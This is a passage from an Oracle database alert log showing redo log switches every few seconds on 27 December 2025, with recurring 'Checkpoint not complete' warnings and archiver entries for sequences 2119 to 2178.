2119 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T22:59:56.796401+08:00 ARC0 (PID:1861): Archived Log entry 2114 added for T-1.S-2118 ID 0x75f9c04b LAD:1 2025-12-27T22:59:56.835932+08:00 Thread 1 cannot allocate new log, sequence 2120 Checkpoint not complete Current log# 2 seq# 2119 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T22:59:59.810783+08:00 Thread 1 advanced to log sequence 2120 (LGWR switch) Current log# 3 seq# 2120 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T22:59:59.851405+08:00 ARC1 (PID:1867): Archived Log entry 2115 added for T-1.S-2119 ID 0x75f9c04b LAD:1 2025-12-27T22:59:59.900120+08:00 Thread 1 cannot allocate new log, sequence 2121 Checkpoint not complete Current log# 3 seq# 2120 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:00:02.883732+08:00 Thread 1 advanced to log sequence 2121 (LGWR switch) Current log# 1 seq# 2121 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:00:02.924646+08:00 ARC2 (PID:1869): Archived Log entry 2116 added for T-1.S-2120 ID 0x75f9c04b LAD:1 2025-12-27T23:00:02.964678+08:00 Thread 1 cannot allocate new log, sequence 2122 Checkpoint not complete Current log# 1 seq# 2121 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:00:05.923968+08:00 Thread 1 advanced to log sequence 2122 (LGWR switch) Current log# 2 seq# 2122 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:00:05.950549+08:00 ARC3 (PID:1871): Archived Log entry 2117 added for T-1.S-2121 ID 0x75f9c04b LAD:1 2025-12-27T23:00:05.996413+08:00 Thread 1 cannot allocate new log, sequence 2123 Checkpoint not complete Current log# 2 seq# 2122 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:00:09.012452+08:00 Thread 1 advanced to log sequence 2123 (LGWR switch) Current log# 3 seq# 2123 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:00:09.050160+08:00 ARC0 (PID:1861): Archived Log entry 2118 added for T-1.S-2122 ID 0x75f9c04b LAD:1 2025-12-27T23:00:09.101425+08:00 Thread 1 cannot allocate new log, sequence 2124 Checkpoint not complete Current log# 3 seq# 2123 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:00:12.083498+08:00 Thread 1 advanced to log sequence 2124 (LGWR switch) Current log# 1 seq# 2124 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:00:12.127756+08:00 ARC1 (PID:1867): Archived Log entry 2119 added for T-1.S-2123 ID 0x75f9c04b LAD:1 2025-12-27T23:00:12.177570+08:00 Thread 1 cannot allocate new log, sequence 2125 Checkpoint not complete Current log# 1 seq# 2124 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:00:15.137163+08:00 Thread 1 advanced to log sequence 2125 (LGWR switch) Current log# 2 seq# 2125 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:00:15.182713+08:00 ARC2 (PID:1869): Archived Log entry 2120 added for T-1.S-2124 ID 0x75f9c04b LAD:1 2025-12-27T23:00:15.224536+08:00 Thread 1 cannot allocate new log, sequence 2126 Checkpoint not complete Current log# 2 seq# 2125 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:00:18.206921+08:00 Thread 1 advanced to log sequence 2126 (LGWR switch) Current log# 3 seq# 2126 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:00:18.252545+08:00 ARC3 (PID:1871): Archived Log entry 2121 added for T-1.S-2125 ID 0x75f9c04b LAD:1 2025-12-27T23:00:18.291745+08:00 Thread 1 cannot allocate new log, sequence 2127 Checkpoint not complete Current log# 3 seq# 2126 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:00:21.267834+08:00 Thread 1 advanced to log sequence 2127 (LGWR switch) Current log# 1 seq# 2127 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:00:21.312934+08:00 ARC0 (PID:1861): Archived Log entry 2122 added for T-1.S-2126 ID 0x75f9c04b LAD:1 2025-12-27T23:00:21.354633+08:00 Thread 1 cannot allocate new log, sequence 2128 Checkpoint not complete Current log# 1 seq# 2127 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:00:24.370772+08:00 Thread 1 advanced to log sequence 2128 (LGWR switch) Current log# 2 seq# 2128 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:00:24.413981+08:00 ARC1 (PID:1867): Archived Log entry 2123 added for T-1.S-2127 ID 0x75f9c04b LAD:1 2025-12-27T23:00:24.465709+08:00 Thread 1 cannot allocate new log, sequence 2129 Checkpoint not complete Current log# 2 seq# 2128 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:00:27.372093+08:00 Thread 1 advanced to log sequence 2129 (LGWR switch) Current log# 3 seq# 2129 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:00:27.402831+08:00 ARC2 (PID:1869): Archived Log entry 2124 added for T-1.S-2128 ID 0x75f9c04b LAD:1 2025-12-27T23:00:27.444888+08:00 Thread 1 cannot allocate new log, sequence 2130 Checkpoint not complete Current log# 3 seq# 2129 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:00:30.468028+08:00 Thread 1 advanced to log sequence 2130 (LGWR switch) Current log# 1 seq# 2130 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:00:30.509740+08:00 ARC3 (PID:1871): Archived Log entry 2125 added for T-1.S-2129 ID 0x75f9c04b LAD:1 2025-12-27T23:00:30.551001+08:00 Thread 1 cannot allocate new log, sequence 2131 Checkpoint not complete Current log# 1 seq# 2130 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:00:33.540116+08:00 Thread 1 advanced to log sequence 2131 (LGWR switch) Current log# 2 seq# 2131 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:00:33.586178+08:00 ARC0 (PID:1861): Archived Log entry 2126 added for T-1.S-2130 ID 0x75f9c04b LAD:1 2025-12-27T23:00:33.627011+08:00 Thread 1 cannot allocate new log, sequence 2132 Checkpoint not complete Current log# 2 seq# 2131 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:00:36.602760+08:00 Thread 1 advanced to log sequence 2132 (LGWR switch) Current log# 3 seq# 2132 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:00:36.652819+08:00 ARC1 (PID:1867): Archived Log entry 2127 added for T-1.S-2131 ID 0x75f9c04b LAD:1 2025-12-27T23:00:36.691866+08:00 Thread 1 cannot allocate new log, sequence 2133 Checkpoint not complete Current log# 3 seq# 2132 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:00:39.684375+08:00 Thread 1 advanced to log sequence 2133 (LGWR switch) Current log# 1 seq# 2133 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:00:39.725463+08:00 ARC2 (PID:1869): Archived Log entry 2128 added for T-1.S-2132 ID 0x75f9c04b LAD:1 2025-12-27T23:00:39.778893+08:00 Thread 1 cannot allocate new log, sequence 2134 Checkpoint not complete Current log# 1 seq# 2133 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:00:42.746918+08:00 Thread 1 advanced to log sequence 2134 (LGWR switch) Current log# 2 seq# 2134 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:00:42.791456+08:00 ARC3 (PID:1871): Archived Log entry 2129 added for T-1.S-2133 ID 0x75f9c04b LAD:1 2025-12-27T23:00:42.844769+08:00 Thread 1 cannot allocate new log, sequence 2135 Checkpoint not complete Current log# 2 seq# 2134 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:00:45.796475+08:00 Thread 1 advanced to log sequence 2135 (LGWR switch) Current log# 3 seq# 2135 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:00:45.846638+08:00 ARC0 (PID:1861): Archived Log entry 2130 added for T-1.S-2134 ID 0x75f9c04b LAD:1 2025-12-27T23:00:45.888176+08:00 Thread 1 cannot allocate new log, sequence 2136 Checkpoint not complete Current log# 3 seq# 2135 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:00:48.862669+08:00 Thread 1 advanced to log sequence 2136 (LGWR switch) Current log# 1 seq# 2136 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:00:48.908099+08:00 ARC1 (PID:1867): Archived Log entry 2131 added for T-1.S-2135 ID 0x75f9c04b LAD:1 2025-12-27T23:00:48.946623+08:00 Thread 1 cannot allocate new log, sequence 2137 Checkpoint not complete Current log# 1 seq# 2136 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:00:52.004310+08:00 Thread 1 advanced to log sequence 2137 (LGWR switch) Current log# 2 seq# 2137 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:00:52.045648+08:00 ARC2 (PID:1869): Archived Log entry 2132 added for T-1.S-2136 ID 0x75f9c04b LAD:1 2025-12-27T23:00:52.083653+08:00 Thread 1 cannot allocate new log, sequence 2138 Checkpoint not complete Current log# 2 seq# 2137 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:00:54.990244+08:00 Thread 1 advanced to log sequence 2138 (LGWR switch) Current log# 3 seq# 2138 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:00:55.025921+08:00 ARC3 (PID:1871): Archived Log entry 2133 added for T-1.S-2137 ID 0x75f9c04b LAD:1 2025-12-27T23:00:55.064638+08:00 Thread 1 cannot allocate new log, sequence 2139 Checkpoint not complete Current log# 3 seq# 2138 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:00:58.066645+08:00 Thread 1 advanced to log sequence 2139 (LGWR switch) Current log# 1 seq# 2139 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:00:58.110789+08:00 ARC0 (PID:1861): Archived Log entry 2134 added for T-1.S-2138 ID 0x75f9c04b LAD:1 2025-12-27T23:00:58.152664+08:00 Thread 1 cannot allocate new log, sequence 2140 Checkpoint not complete Current log# 1 seq# 2139 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:01:01.157047+08:00 Thread 1 advanced to log sequence 2140 (LGWR switch) Current log# 2 seq# 2140 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:01:01.196286+08:00 ARC1 (PID:1867): Archived Log entry 2135 added for T-1.S-2139 ID 0x75f9c04b LAD:1 2025-12-27T23:01:01.246438+08:00 Thread 1 cannot allocate new log, sequence 2141 Checkpoint not complete Current log# 2 seq# 2140 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:01:04.236090+08:00 Thread 1 advanced to log sequence 2141 (LGWR switch) Current log# 3 seq# 2141 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:01:04.288119+08:00 ARC2 (PID:1869): Archived Log entry 2136 added for T-1.S-2140 ID 0x75f9c04b LAD:1 2025-12-27T23:01:04.347324+08:00 Thread 1 cannot allocate new log, sequence 2142 Checkpoint not complete Current log# 3 seq# 2141 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:01:07.529350+08:00 Thread 1 advanced to log sequence 2142 (LGWR switch) Current log# 1 seq# 2142 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:01:07.587592+08:00 ARC3 (PID:1871): Archived Log entry 2137 added for T-1.S-2141 ID 0x75f9c04b LAD:1 2025-12-27T23:01:07.627911+08:00 Thread 1 cannot allocate new log, sequence 2143 Checkpoint not complete Current log# 1 seq# 2142 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:01:10.890843+08:00 Thread 1 advanced to log sequence 2143 (LGWR switch) Current log# 2 seq# 2143 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:01:10.938071+08:00 ARC0 (PID:1861): Archived Log entry 2138 added for T-1.S-2142 ID 0x75f9c04b LAD:1 2025-12-27T23:01:10.973971+08:00 Thread 1 cannot allocate new log, sequence 2144 Checkpoint not complete Current log# 2 seq# 2143 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:01:14.305398+08:00 Thread 1 advanced to log sequence 2144 (LGWR switch) Current log# 3 seq# 2144 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:01:14.352095+08:00 ARC1 (PID:1867): Archived Log entry 2139 added for T-1.S-2143 ID 0x75f9c04b LAD:1 2025-12-27T23:01:14.396909+08:00 Thread 1 cannot allocate new log, sequence 2145 Checkpoint not complete Current log# 3 seq# 2144 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:01:17.347029+08:00 Thread 1 advanced to log sequence 2145 (LGWR switch) Current log# 1 seq# 2145 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:01:17.393869+08:00 ARC2 (PID:1869): Archived Log entry 2140 added for T-1.S-2144 ID 0x75f9c04b LAD:1 2025-12-27T23:01:17.437077+08:00 Thread 1 cannot allocate new log, sequence 2146 Checkpoint not complete Current log# 1 seq# 2145 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:01:20.409373+08:00 Thread 1 advanced to log sequence 2146 (LGWR switch) Current log# 2 seq# 2146 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:01:20.451783+08:00 ARC3 (PID:1871): Archived Log entry 2141 added for T-1.S-2145 ID 0x75f9c04b LAD:1 2025-12-27T23:01:20.490266+08:00 Thread 1 cannot allocate new log, sequence 2147 Checkpoint not complete Current log# 2 seq# 2146 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:01:23.491313+08:00 Thread 1 advanced to log sequence 2147 (LGWR switch) Current log# 3 seq# 2147 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:01:23.541142+08:00 ARC0 (PID:1861): Archived Log entry 2142 added for T-1.S-2146 ID 0x75f9c04b LAD:1 2025-12-27T23:01:23.583705+08:00 Thread 1 cannot allocate new log, sequence 2148 Checkpoint not complete Current log# 3 seq# 2147 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:01:26.485323+08:00 Thread 1 advanced to log sequence 2148 (LGWR switch) Current log# 1 seq# 2148 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:01:26.510921+08:00 ARC1 (PID:1867): Archived Log entry 2143 added for T-1.S-2147 ID 0x75f9c04b LAD:1 2025-12-27T23:01:26.586725+08:00 Thread 1 cannot allocate new log, sequence 2149 Checkpoint not complete Current log# 1 seq# 2148 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:01:29.584796+08:00 Thread 1 advanced to log sequence 2149 (LGWR switch) Current log# 2 seq# 2149 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:01:29.631001+08:00 ARC2 (PID:1869): Archived Log entry 2144 added for T-1.S-2148 ID 0x75f9c04b LAD:1 2025-12-27T23:01:29.673520+08:00 Thread 1 cannot allocate new log, sequence 2150 Checkpoint not complete Current log# 2 seq# 2149 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:01:32.660946+08:00 Thread 1 advanced to log sequence 2150 (LGWR switch) Current log# 3 seq# 2150 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:01:32.707399+08:00 ARC3 (PID:1871): Archived Log entry 2145 added for T-1.S-2149 ID 0x75f9c04b LAD:1 2025-12-27T23:01:32.754830+08:00 Thread 1 cannot allocate new log, sequence 2151 Checkpoint not complete Current log# 3 seq# 2150 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:01:35.821500+08:00 Thread 1 advanced to log sequence 2151 (LGWR switch) Current log# 1 seq# 2151 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:01:35.871667+08:00 ARC0 (PID:1861): Archived Log entry 2146 added for T-1.S-2150 ID 0x75f9c04b LAD:1 2025-12-27T23:01:35.910651+08:00 Thread 1 cannot allocate new log, sequence 2152 Checkpoint not complete Current log# 1 seq# 2151 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:01:38.915519+08:00 Thread 1 advanced to log sequence 2152 (LGWR switch) Current log# 2 seq# 2152 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:01:38.943320+08:00 ARC1 (PID:1867): Archived Log entry 2147 added for T-1.S-2151 ID 0x75f9c04b LAD:1 2025-12-27T23:01:38.983488+08:00 Thread 1 cannot allocate new log, sequence 2153 Checkpoint not complete Current log# 2 seq# 2152 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:01:42.020057+08:00 Thread 1 advanced to log sequence 2153 (LGWR switch) Current log# 3 seq# 2153 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:01:42.066574+08:00 ARC2 (PID:1869): Archived Log entry 2148 added for T-1.S-2152 ID 0x75f9c04b LAD:1 2025-12-27T23:01:42.108651+08:00 Thread 1 cannot allocate new log, sequence 2154 Checkpoint not complete Current log# 3 seq# 2153 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:01:45.115038+08:00 Thread 1 advanced to log sequence 2154 (LGWR switch) Current log# 1 seq# 2154 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:01:45.166836+08:00 ARC3 (PID:1871): Archived Log entry 2149 added for T-1.S-2153 ID 0x75f9c04b LAD:1 2025-12-27T23:01:45.206544+08:00 Thread 1 cannot allocate new log, sequence 2155 Checkpoint not complete Current log# 1 seq# 2154 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:01:48.233544+08:00 Thread 1 advanced to log sequence 2155 (LGWR switch) Current log# 2 seq# 2155 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:01:48.278198+08:00 ARC0 (PID:1861): Archived Log entry 2150 added for T-1.S-2154 ID 0x75f9c04b LAD:1 2025-12-27T23:01:48.315539+08:00 Thread 1 cannot allocate new log, sequence 2156 Checkpoint not complete Current log# 2 seq# 2155 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:01:51.335727+08:00 Thread 1 advanced to log sequence 2156 (LGWR switch) Current log# 3 seq# 2156 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:01:51.359866+08:00 ARC1 (PID:1867): Archived Log entry 2151 added for T-1.S-2155 ID 0x75f9c04b LAD:1 2025-12-27T23:01:51.400587+08:00 Thread 1 cannot allocate new log, sequence 2157 Checkpoint not complete Current log# 3 seq# 2156 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:01:54.372668+08:00 Thread 1 advanced to log sequence 2157 (LGWR switch) Current log# 1 seq# 2157 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:01:54.406660+08:00 ARC2 (PID:1869): Archived Log entry 2152 added for T-1.S-2156 ID 0x75f9c04b LAD:1 2025-12-27T23:01:54.439198+08:00 Thread 1 cannot allocate new log, sequence 2158 Checkpoint not complete Current log# 1 seq# 2157 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:01:57.504257+08:00 Thread 1 advanced to log sequence 2158 (LGWR switch) Current log# 2 seq# 2158 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:01:57.549298+08:00 ARC3 (PID:1871): Archived Log entry 2153 added for T-1.S-2157 ID 0x75f9c04b LAD:1 2025-12-27T23:01:57.598907+08:00 Thread 1 cannot allocate new log, sequence 2159 Checkpoint not complete Current log# 2 seq# 2158 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:02:00.540075+08:00 Thread 1 advanced to log sequence 2159 (LGWR switch) Current log# 3 seq# 2159 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:02:00.572251+08:00 ARC0 (PID:1861): Archived Log entry 2154 added for T-1.S-2158 ID 0x75f9c04b LAD:1 2025-12-27T23:02:00.624485+08:00 Thread 1 cannot allocate new log, sequence 2160 Checkpoint not complete Current log# 3 seq# 2159 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:02:03.710113+08:00 Thread 1 advanced to log sequence 2160 (LGWR switch) Current log# 1 seq# 2160 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:02:03.769136+08:00 ARC1 (PID:1867): Archived Log entry 2155 added for T-1.S-2159 ID 0x75f9c04b LAD:1 2025-12-27T23:02:03.803714+08:00 Thread 1 cannot allocate new log, sequence 2161 Checkpoint not complete Current log# 1 seq# 2160 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:02:06.803632+08:00 Thread 1 advanced to log sequence 2161 (LGWR switch) Current log# 2 seq# 2161 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:02:06.843917+08:00 ARC2 (PID:1869): Archived Log entry 2156 added for T-1.S-2160 ID 0x75f9c04b LAD:1 2025-12-27T23:02:06.891090+08:00 Thread 1 cannot allocate new log, sequence 2162 Checkpoint not complete Current log# 2 seq# 2161 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:02:09.946743+08:00 Thread 1 advanced to log sequence 2162 (LGWR switch) Current log# 3 seq# 2162 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:02:09.992141+08:00 ARC3 (PID:1871): Archived Log entry 2157 added for T-1.S-2161 ID 0x75f9c04b LAD:1 2025-12-27T23:02:10.040338+08:00 Thread 1 cannot allocate new log, sequence 2163 Checkpoint not complete Current log# 3 seq# 2162 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:02:13.062665+08:00 Thread 1 advanced to log sequence 2163 (LGWR switch) Current log# 1 seq# 2163 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:02:13.104542+08:00 ARC0 (PID:1861): Archived Log entry 2158 added for T-1.S-2162 ID 0x75f9c04b LAD:1 2025-12-27T23:02:13.144834+08:00 Thread 1 cannot allocate new log, sequence 2164 Checkpoint not complete Current log# 1 seq# 2163 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:02:16.182380+08:00 Thread 1 advanced to log sequence 2164 (LGWR switch) Current log# 2 seq# 2164 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:02:16.240086+08:00 ARC1 (PID:1867): Archived Log entry 2159 added for T-1.S-2163 ID 0x75f9c04b LAD:1 2025-12-27T23:02:16.278113+08:00 Thread 1 cannot allocate new log, sequence 2165 Checkpoint not complete Current log# 2 seq# 2164 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:02:19.305321+08:00 Thread 1 advanced to log sequence 2165 (LGWR switch) Current log# 3 seq# 2165 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:02:19.364841+08:00 ARC2 (PID:1869): Archived Log entry 2160 added for T-1.S-2164 ID 0x75f9c04b LAD:1 2025-12-27T23:02:19.412896+08:00 Thread 1 cannot allocate new log, sequence 2166 Checkpoint not complete Current log# 3 seq# 2165 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:02:22.405007+08:00 Thread 1 advanced to log sequence 2166 (LGWR switch) Current log# 1 seq# 2166 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:02:22.449920+08:00 ARC3 (PID:1871): Archived Log entry 2161 added for T-1.S-2165 ID 0x75f9c04b LAD:1 2025-12-27T23:02:22.490488+08:00 Thread 1 cannot allocate new log, sequence 2167 Checkpoint not complete Current log# 1 seq# 2166 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:02:25.392084+08:00 Thread 1 advanced to log sequence 2167 (LGWR switch) Current log# 2 seq# 2167 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:02:25.415332+08:00 ARC0 (PID:1861): Archived Log entry 2162 added for T-1.S-2166 ID 0x75f9c04b LAD:1 2025-12-27T23:02:25.458906+08:00 Thread 1 cannot allocate new log, sequence 2168 Checkpoint not complete Current log# 2 seq# 2167 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:02:28.558850+08:00 Thread 1 advanced to log sequence 2168 (LGWR switch) Current log# 3 seq# 2168 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:02:28.605523+08:00 ARC1 (PID:1867): Archived Log entry 2163 added for T-1.S-2167 ID 0x75f9c04b LAD:1 2025-12-27T23:02:28.643576+08:00 Thread 1 cannot allocate new log, sequence 2169 Checkpoint not complete Current log# 3 seq# 2168 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:02:31.632540+08:00 Thread 1 advanced to log sequence 2169 (LGWR switch) Current log# 1 seq# 2169 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:02:31.675775+08:00 ARC2 (PID:1869): Archived Log entry 2164 added for T-1.S-2168 ID 0x75f9c04b LAD:1 2025-12-27T23:02:31.717639+08:00 Thread 1 cannot allocate new log, sequence 2170 Checkpoint not complete Current log# 1 seq# 2169 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:02:34.749537+08:00 Thread 1 advanced to log sequence 2170 (LGWR switch) Current log# 2 seq# 2170 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:02:34.796666+08:00 ARC3 (PID:1871): Archived Log entry 2165 added for T-1.S-2169 ID 0x75f9c04b LAD:1 2025-12-27T23:02:34.833344+08:00 Thread 1 cannot allocate new log, sequence 2171 Checkpoint not complete Current log# 2 seq# 2170 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:02:37.813158+08:00 Thread 1 advanced to log sequence 2171 (LGWR switch) Current log# 3 seq# 2171 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:02:37.862758+08:00 ARC0 (PID:1861): Archived Log entry 2166 added for T-1.S-2170 ID 0x75f9c04b LAD:1 2025-12-27T23:02:37.907972+08:00 Thread 1 cannot allocate new log, sequence 2172 Checkpoint not complete Current log# 3 seq# 2171 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:02:40.921620+08:00 Thread 1 advanced to log sequence 2172 (LGWR switch) Current log# 1 seq# 2172 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:02:40.969278+08:00 ARC1 (PID:1867): Archived Log entry 2167 added for T-1.S-2171 ID 0x75f9c04b LAD:1 2025-12-27T23:02:41.013651+08:00 Thread 1 cannot allocate new log, sequence 2173 Checkpoint not complete Current log# 1 seq# 2172 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:02:43.996154+08:00 Thread 1 advanced to log sequence 2173 (LGWR switch) Current log# 2 seq# 2173 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:02:44.040927+08:00 ARC2 (PID:1869): Archived Log entry 2168 added for T-1.S-2172 ID 0x75f9c04b LAD:1 2025-12-27T23:02:44.083105+08:00 Thread 1 cannot allocate new log, sequence 2174 Checkpoint not complete Current log# 2 seq# 2173 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:02:47.103022+08:00 Thread 1 advanced to log sequence 2174 (LGWR switch) Current log# 3 seq# 2174 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:02:47.147469+08:00 ARC3 (PID:1871): Archived Log entry 2169 added for T-1.S-2173 ID 0x75f9c04b LAD:1 2025-12-27T23:02:47.187677+08:00 Thread 1 cannot allocate new log, sequence 2175 Checkpoint not complete Current log# 3 seq# 2174 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:02:50.208851+08:00 Thread 1 advanced to log sequence 2175 (LGWR switch) Current log# 1 seq# 2175 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:02:50.255639+08:00 ARC0 (PID:1861): Archived Log entry 2170 added for T-1.S-2174 ID 0x75f9c04b LAD:1 2025-12-27T23:02:50.293591+08:00 Thread 1 cannot allocate new log, sequence 2176 Checkpoint not complete Current log# 1 seq# 2175 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:02:53.310446+08:00 Thread 1 advanced to log sequence 2176 (LGWR switch) Current log# 2 seq# 2176 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:02:53.367201+08:00 ARC1 (PID:1867): Archived Log entry 2171 added for T-1.S-2175 ID 0x75f9c04b LAD:1 2025-12-27T23:02:53.411281+08:00 Thread 1 cannot allocate new log, sequence 2177 Checkpoint not complete Current log# 2 seq# 2176 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:02:56.429484+08:00 Thread 1 advanced to log sequence 2177 (LGWR switch) Current log# 3 seq# 2177 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:02:56.479453+08:00 ARC2 (PID:1869): Archived Log entry 2172 added for T-1.S-2176 ID 0x75f9c04b LAD:1 2025-12-27T23:02:56.524917+08:00 Thread 1 cannot allocate new log, sequence 2178 Checkpoint not complete Current log# 3 seq# 2177 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:02:59.549641+08:00 Thread 1 advanced to log sequence 2178 (LGWR switch) Current log# 1 seq# 2178 mem# 0: 